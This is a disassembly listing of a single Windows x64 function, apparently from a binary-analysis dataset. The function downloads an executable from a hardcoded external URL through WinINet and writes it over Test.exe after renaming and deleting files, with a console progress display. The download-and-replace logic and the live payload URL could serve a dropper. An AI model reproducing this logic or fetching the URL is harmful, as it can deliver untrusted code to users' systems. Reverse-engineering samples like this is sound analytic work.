Function at 0x1400021d0
Capabilities:
Create http request
Delete file
Download and write a file
Get http content length
Move file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x11d0]
mov eax, 0x12d0
call fcn.140086030
sub rsp, rax
movaps xmmword [rsp + 0x12c0], xmm6
movaps xmmword [rsp + 0x12b0], xmm7
movaps xmmword [rsp + 0x12a0], xmm8
movaps xmmword [rsp + 0x1290], xmm9
movaps xmmword [rsp + 0x1280], xmm10
movaps xmmword [rsp + 0x1270], xmm11
movaps xmmword [rsp + 0x1260], xmm12
movaps xmmword [rsp + 0x1250], xmm13
movaps xmmword [rsp + 0x1240], xmm14
mov rax, qword [0x1400c1fc0]
xor rax, rsp
mov qword [rbp + 0x1130], rax
xor r15d, r15d
mov r8d, 0x104
lea rdx, [rbp + 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10], xmm1
lea rax, [rbp + 0x20]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop
inc r8
cmp byte [rax + r8], r15b
jne 0x140002290
lea rdx, [rbp + 0x20]
lea rcx, [rbp]
call fcn.1400037c0
nop
mov edx, 0x5c
lea rcx, [rbp + 0x20]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsrchr]
mov byte [rax + 1], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], r15
lea rax, [rbp + 0x20]
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400022d0
mov r8, rbx
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x80]
call fcn.1400037c0
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x140002329
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002323
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002323
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007cbf0
nop
movabs rbx, 0x7fffffffffffffff
mov rax, rbx
mov rcx, qword [rbp - 0x70]
sub rax, rcx
cmp rax, 8
jb 0x140002ae3
lea r9, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova r9, qword [rbp - 0x80]
mov qword [rsp + 0x30], 8
lea rax, str.Test.exe
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x20]
call fcn.140003aa0
nop
mov rax, rbx
mov rcx, qword [rbp - 0x70]
sub rax, rcx
cmp rax, 9
jb 0x140002ae9
lea r9, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova r9, qword [rbp - 0x80]
mov qword [rsp + 0x30], 9
lea rax, str.Test1.exe
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x40]
call fcn.140003aa0
nop
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova rdx, qword [rbp - 0x40]
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova rcx, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_MoveFileA]
lea rdi, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova rdi, qword [rbp - 0x20]
mov esi, r15d
mov dword [rsp + 0x44], r15d
mov dword [rsp + 0x48], 4
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.DownloadAgent
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r12, rax
movdqa xmm10, xmmword [0x1400b15e0]
test rax, rax
jne 0x140002468
lea rdx, str.InternetOpen_failed_with_error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003390
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140003760]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor bl, bl
jmp 0x14000299a
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.https:__i_330.wwentua.com:446_03191300169480053bb_2024_03_19_ce0821568621ebb5f2ac7b3a3b988a1b.exe_stlGbaaHTWwoiw9hkhUyL_qQe1710829727bBgAMaVMgAHECeVVmVn5QMQ_c_cfi169480053pid117_183_98_110up2mp0co0
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov r14, rax
test rax, rax
jne 0x1400024da
lea rdx, str.InternetOpenUrl_failed_with_error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003390
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140003760]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor bl, bl
jmp 0x14000299a
mov qword [rsp + 0x20], r15
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x44]
mov edx, 0x20000005
mov rcx, r14
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r15, rax
cmp rax, 0xffffffffffffffff
jne 0x1400025ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x14000257e
mov ebx, recv
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, bx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [0x1400a74d0]
call fcn.140001300
mov ebx, 7
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, bx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
jmp 0x1400025b5
lea rdx, str.CreateFile_failed_with_error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003390
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140003760]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor bl, bl
jmp 0x14000299a
mov rax, qword [rbp - 0x70]
sub rbx, rax
cmp rbx, 3
jb 0x140002add
lea r9, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova r9, qword [rbp - 0x80]
mov qword [rsp + 0x30], 3
lea rcx, [0x1400a7510]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea rcx, [rbp - 0x60]
call fcn.140003aa0
nop
lea rcx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0xf
cmova rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0xf
cmova rdx, qword [rbp - 0x60]
lea rcx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_MoveFileA]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
mov r13d, eax
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rbp + 0x130]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140002921
movsd xmm9, qword [0x1400b1450]
movss xmm11, dword [0x1400b154c]
movsd xmm12, qword [0x1400b1380]
xorps xmm13, xmm13
movsd xmm14, qword [0x1400b1440]
nop dword [rax + rax]
mov r8d, dword [rsp + 0x40]
test r8d, r8d
je 0x140002921
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x4c]
lea rdx, [rbp + 0x130]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteFile]
add esi, dword [rsp + 0x40]
mov eax, esi
xorps xmm7, xmm7
cvtsi2sd xmm7, rax
movaps xmm6, xmm7
mulsd xmm6, xmm9
mov eax, dword [rsp + 0x44]
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
divsd xmm6, xmm0
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
sub eax, r13d
movd xmm0, eax
cvtdq2ps xmm0, xmm0
divss xmm0, xmm11
mulsd xmm7, xmm12
comiss xmm0, xmm13
jbe 0x140002720
cvtps2pd xmm0, xmm0
movaps xmm8, xmm7
divsd xmm8, xmm0
jmp 0x140002724
xorps xmm8, xmm8
movaps xmm0, xmm6
mulsd xmm0, xmm14
divsd xmm0, xmm9
cvttsd2si edi, xmm0
lea rdx, str._rTest.exe____
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003390
lea rdx, [0x1400015f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rbx, rax
mov edx, 2
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setprecision_long_long___int64__]
mov r8, qword [rax]
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov rdx, qword [rax + 8]
call r8
movaps xmm1, xmm6
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___double____ptr64]
mov rcx, rax
lea rdx, [0x1400a7514]
call fcn.140003390
xor ebx, ebx
nop dword [rax]
cmp ebx, edi
jge 0x1400027ad
lea rdx, [0x1400a7528]
jmp 0x1400027bd
lea rdx, [0x1400a752c]
je 0x1400027bd
lea rdx, [0x1400a7530]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003390
inc ebx
cmp ebx, 0x32
jl 0x1400027a0
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
sub eax, r13d
movd xmm6, eax
cvtdq2ps xmm6, xmm6
divss xmm6, xmm11
lea rdx, [0x1400a7548]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003390
lea rdx, [0x1400015f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rbx, rax
mov edx, 2
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setprecision_long_long___int64__]
mov r8, qword [rax]
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov rdx, qword [rax + 8]
call r8
movaps xmm1, xmm8
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___double____ptr64]
mov rcx, rax
lea rdx, str.MB_s
call fcn.140003390
lea rdx, [0x1400015f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rbx, rax
mov edx, 2
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setprecision_long_long___int64__]
mov r8, qword [rax]
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov rdx, qword [rax + 8]
call r8
movaps xmm1, xmm7
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___double____ptr64]
mov rcx, rax
lea rdx, str.MB__in
call fcn.140003390
lea rdx, [0x1400015f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rbx, rax
mov edx, 2
lea rcx, [rbp]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setprecision_long_long___int64__]
mov r8, qword [rax]
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov rdx, qword [rax + 8]
call r8
movaps xmm1, xmm6
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
mov rcx, rax
lea rdx, [0x1400a7534]
call fcn.140003390
lea rdx, [0x1400037a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rbp + 0x130]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400026a0
lea rdx, [0x140003760]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov bl, 1
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140002990
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000298b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000298b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007cbf0
movdqu xmmword [rbp - 0x50], xmm10
mov byte [rbp - 0x60], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x1400029e1
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400029d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400029d3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007cbf0
movdqa xmm10, xmmword [0x1400b15e0]
movdqu xmmword [rbp - 0x30], xmm10
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x140002a32
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a24
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002a24
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007cbf0
movdqa xmm10, xmmword [0x1400b15e0]
movdqu xmmword [rbp - 0x10], xmm10
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140002a7a
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a75
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002a75
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007cbf0
movzx eax, bl
mov rcx, qword [rbp + 0x1130]
xor rcx, rsp
call fcn.14007c870
lea r11, [rsp + 0x12d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001510
nop
call fcn.140001510
nop
call fcn.140001510
int3